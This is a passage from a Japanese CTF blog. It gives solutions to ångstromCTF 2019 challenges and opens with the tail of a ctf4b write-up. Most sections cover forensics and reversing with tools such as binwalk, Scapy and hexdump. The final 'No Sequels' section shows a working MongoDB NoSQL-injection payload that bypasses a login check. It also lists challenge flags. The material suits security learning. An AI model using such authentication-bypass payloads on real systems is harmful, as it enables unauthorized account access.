ctf4b{hexdump_is_very_useful}

Misc / Sliding Pazzle

8パスルをどんどん解いていく問題です.
8パズルの解法についてはWeb上にたくさん転がっているので省略します.
入出力や通信部分のフォーマットを適切に設定していれば,あとはソルバを実装すれば解くことができました.

$ python solver.py
['2', '3', '3', '2', '1', '0', '3', '0']
['0', '3', '3']
...
['0', '3', '2', '2', '1', '1', '0', '0', '3', '3']
b'[+] Congratulations! ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}\n'

ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}

ångstromCTF 2019 の writeup

はじめに

ångstromCTF 2019 にチームNekochanNano!で参加しました.
結果は1590ptsで59位でした.
以下は,私が解いた問題のwriteupです.

The Mueller Report

非常に大きなPDFファイルが渡されます. 以下のコマンドによってactf{というキーワードを含む文字列検索したところ,FLAGが見つかりました.

❯❯❯ strings full-mueller-report.pdf | grep actf{
actf{no0o0o0_col1l1l1luuuusiioooon}

Blank Paper

PDFをダウンロードして開こうとしますが,うまく開けません.
問題文によると,ファイルの一部のバイトが抜け落ちているようなので,hexdumpでバイナリを見てみると,ファイルの先頭が00 00 00 00になっています.

$ hexdump blank_paper.pdf | head
0000000 00 00 00 00 2d 31 2e 35 0a 25 bf f7 a2 fe 0a 33
0000010 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 4c 69 6e 65
0000020 61 72 69 7a 65 64 20 31 20 2f 4c 20 33 35 34 38

一般的にファイルには,そのファイルの種類を識別するためのMagic Numberという識別子がファイルの先頭に付与されています.
ファイルの種類を識別するためのfileコマンドは,このMagic Numberをもとに結果を出力します.

PDFファイルにおいては,Magic Number25 50 44 46と定められています.
そこで,もとのファイルの先頭部分を25 50 44 46に書き換えてファイルを閲覧すると,FLAGを取得することができます.

actf{knotveryinteresting}

Paper Bin

datファイルが渡されます.
binwalkを実行すると,大量のファイルが含まれていることがわかります.

$ binwalk paper_bin.dat

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
222           0xDE            PDF document, version: "1.4"
298           0x12A           Zlib compressed data, best compression
3578          0xDFA           Zlib compressed data, best compression
7820          0x1E8C          Zlib compressed data, best compression
12776         0x31E8          Zlib compressed data, best compression
17453         0x442D          Zlib compressed data, best compression
21935         0x55AF          Zlib compressed data, best compression
...

foremostを用いて,中に含まれているファイルを抽出してみます.

$ foremost paper_bin.dat

すると,大量のPDFファイルが抽出されます.

$ cd output/pdf
$ ls
00000000.pdf 00001384.pdf 00002824.pdf 00004240.pdf 00005728.pdf 00007088.pdf 00008616.pdf 00009896.pdf 00011232.pdf 00012472.pdf
00000688.pdf 00002112.pdf 00003496.pdf 00004944.pdf 00006448.pdf 00007912.pdf 00009256.pdf 00010576.pdf 00011880.pdf 00013224.pdf

このPDFファイルを1つ1つみていくと,FLAGが含まれたPDFファイルを見つけることができます.

actf{proof_by_triviality}

Paper Trail

pcapngファイルが渡されます. Wiresharkpcapngファイルを開いてみると,IRCプロトコルで何らかの情報をやり取りしているパケット群であることがわかります.

Scapyを用いてパケットのペイロード部分を抽出してみます.

from scapy.all import *

def main():
    pkts = rdpcap("./paper_trail.pcapng")

    for pkt in pkts:
        if "Raw" not in pkt:
            continue

        print(pkt["Raw"].load.decode(), end="")



if __name__ == '__main__':
    main()

すると,出力中にactf{...のようなメッセージが見て取れます.

❯❯❯ python solver.py
ifconfig: interface vboxnet does not exist
ifconfig: interface vboxnet does not exist
ifconfig: interface vboxnet does not exist
ifconfig: interface vboxnet does not exist
PRIVMSG defund :I have to confide in someone, even if it's myself
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :I have to confide in someone, even if it's myself
PRIVMSG defund :my publications are all randomly generated :(
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :my publications are all randomly generated :(
PRIVMSG defund :a
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :a
PRIVMSG defund :c
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :c
PRIVMSG defund :t
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :t
PRIVMSG defund :f
:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :f
PRIVMSG defund :{

その部分だけ抽出するような以下のスクリプトによって,FLAGが抽出できました.

from scapy.all import *

def main():
    pkts = rdpcap("./paper_trail.pcapng")

    for pkt in pkts[6:]:
        if "Raw" not in pkt:
            continue

        msg = pkt["Raw"].load.decode()

        if msg.startswith("PRIVMSG"):
            _, flag = msg.split(":")
            print(flag.strip(), end="")


if __name__ == '__main__':
    main()
❯❯❯ python solver.py
actf{fake_math_papers}

Just Letters

AlphaBetaというプログラミング言語Wikinc 54.159.113.26 19600というコマンドが提示されます.

nc 54.159.113.26 19600を実行すると,以下のような内容が表示されました.

❯❯❯ nc 54.159.113.26 19600
Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line:

どうやら,FLAGはメモリの先頭に格納されているようです.
つまり,以下のような処理を組み立てられると,FLAGが取得できそうだと考えられます.

pointer = 0
while(true){
    register = memory[pointer]
    print(register)
    pointer++
}

Wikiの内容を読み解いていくと,以下の命令が使えそうだとわかります.

Y     sets the register to 0
G     sets register 1 to the memory at the memory pointer
C     sets register 3 to the value of register 1
L     outputs a character to the screen
S     adds 1 to the register

なぜなら,以下のAlphaBetaプログラムによって,最初に考えた処理を構築できるからです.

YGCLSGCLSGCLSGCLSGCLSGCLSGCLS...

pointer = 0                     ; Y
while(true){
    register = memory[pointer]  ; G C
    print(register)             ; L
    pointer++                   ; S
}

このAlphaBetaプログラムを入力したところ,FLAGが取得できました.

❯❯❯ nc 54.159.113.26 19600
Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line:
> YGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLSGCLS
actf{esolangs_sure_are_fun!}

Lithp

Lispっぽいプログラムが渡されます.

;LITHP

(defparameter *encrypted* '(8930 15006 8930 10302 11772 13806 13340 11556 12432 13340 10712 10100 11556 12432 9312 10712 10100 10100 8930 10920 8930 5256 9312 9702 8930 10712 15500 9312))
(defparameter *flag* '(redacted))
(defparameter *reorder* '(19 4 14 3 10 17 24 22 8 2 5 11 7 26 0 25 18 6 21 23 9 13 16 1 12 15 27 20))

(defun enc (plain)
    (setf uwuth (multh plain))
    (setf uwuth (owo uwuth))
    (setf out nil)
    (dotimes (ind (length plain) out)
        (setq out (append out (list (/ (nth ind uwuth) -1))))))


    
(defun multh (plain)
    (cond
        ((null plain) nil)
        (t (cons (whats-this (- 1 (car plain)) (car plain)) (multh (cdr plain))))))

(defun owo (inpth)
    (setf out nil)
    (do ((redth *reorder* (cdr redth)))
        ((null redth) out)
        (setq out (append out (list (nth (car redth) inpth))))))

(defun whats-this (x y)
    (cond
        ((equal y 0) 0)
        (t (+ (whats-this x (- y 1)) x))))

;flag was encrypted with (enc *flag*) to give *encrypted*

encrypted, flag, reorderという変数と,enc, multh, owo, whats-thisという関数が定義されています.
他のdotimesconssetfといったキーワードは一般的なLispに用いられるものなので,リファレンスをもとに処理の流れを追いました.

このプログラムをPython風に変換すると以下のようになります.

encrypted = [8930, 15006, 8930, 10302, 11772, 13806, 13340, 11556, 12432, 13340, 10712, 10100, 11556, 12432, 9312, 10712, 10100, 10100, 8930, 10920, 8930, 5256, 9312, 9702, 8930, 10712, 15500, 9312]
flag = None
reorder = [19, 4, 14, 3, 10, 17, 24, 22, 8, 2, 5, 11, 7, 26, 0, 25, 18, 6, 21, 23, 9, 13, 16, 1, 12, 15, 27, 20]

def enc(plain):
    uwuth = multh(plain)
    uwuth = owo(uwuth)
    out = None

    for ind in range(len(plain)):
        out = uwuth[ind] // -1
        print(out)

def multh(plain):
    if plain == None:
        return None
    if True:
        return whats_this(plain[0]-1, plain[0]) + multh(plalin[1:])

def owo(inpth):
    # inpthをreorderの順に並べかえ

def whats_this(x, y):
    if y == 0:
        return 0
    else:
        return x + whats_this(x, y-1)

これらをもとに,平文を復号する以下のスクリプトを実装しました.

encrypted = [8930, 15006, 8930, 10302, 11772, 13806, 13340, 11556, 12432, 13340, 10712, 10100, 11556, 12432, 9312, 10712, 10100, 10100, 8930, 10920, 8930, 5256, 9312, 9702, 8930, 10712, 15500, 9312]
plain = None
reorder = [19, 4, 14, 3, 10, 17, 24, 22, 8, 2, 5, 11, 7, 26, 0, 25, 18, 6, 21, 23, 9, 13, 16, 1, 12, 15, 27, 20]

encrypted_ordered = [0] * len(encrypted)

for e, r in zip(encrypted, reorder):
    encrypted_ordered[r-1] = e

encrypted_ordered.insert(0, encrypted_ordered[-1])
encrypted_ordered = encrypted_ordered[:-1]

for e in encrypted_ordered:
    for x in range(1, 200):
        if (x-1) * x == e:
            print(chr(x), end="")

print()

このスクリプトを実行すると,FLAGが得られます.

❯❯❯ python solver.py
actf{help_me_I_have_a_lithp}

Scratch It Out

project.jsonというあまりJSONファイルが渡されます.
JSONを見てみると,"name": "Sprite1""currentCostume": 0,といった特徴的なデータが見て取れます.
それらのキーワードで検索をかけると,ビジュアルプログラミング言語である`Scratchの情報が見つかります.
よって,このJSONファイルはScratchのプログラムをエクスポートしたものだと考えました.

さて,Scratchはプログラムをimport/exportする際にsb2というファイル形式を用います.
sb2jsonの関係は以下のようになっています.

json -(zip)-> sb2
sb2 -(unzip)-> json

以下のコマンドで,jsonファイルをZIP圧縮し,拡張子をsb2に設定します.

❯❯❯ zip project.sb2 project.json

こうしてできたproject.sb2をScratchにimportさせると,ScratchプログラムによってFLAGが出力されます.

actf{Th5_0pT1maL_LANgUaG3}

No Sequels

以下のようなNode.jsのサーバプログラムが示されます.

app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: false }));

...

router.post('/login', verifyJwt, function (req, res) {
    // monk instance
    var db = req.db;

    var user = req.body.username;
    var pass = req.body.password;

    if (!user || !pass){
        res.send("One or more fields were not provided.");
    }
    var query = {
        username: user,
        password: pass
    }

    db.collection('users').findOne(query, function (err, user) {
        if (!user){
            res.send("Wrong username or password");
            return
        }

        res.cookie('token', jwt.sign({name: user.username, authenticated: true}, secret));
        res.redirect("/site");
    });
});

プログラムから,MongoDBに対してユーザが入力した値からqueryを構築し,findOneによって結果が見つかった場合にのみJWTがセットされて/siteにリダイレクトされることがわかります.
ここで,入力値の型チェックを正しく行なっていないことから,JSONを入力値としたNoSQLiが可能だと考えました.
例えば,以下のようなデータをJSON形式でPOSTすると,usernamepasswordが両方とも空の任意の行にマッチするクエリが構築できてしまいます.

{
    "username": {
        "$ne": ""
    },
    "password": {
        "$ne": ""
    }
}

このようなデータをPOSTしたところFLAGが取得できました.

actf{no_sql_doesn't_mean_no_vuln}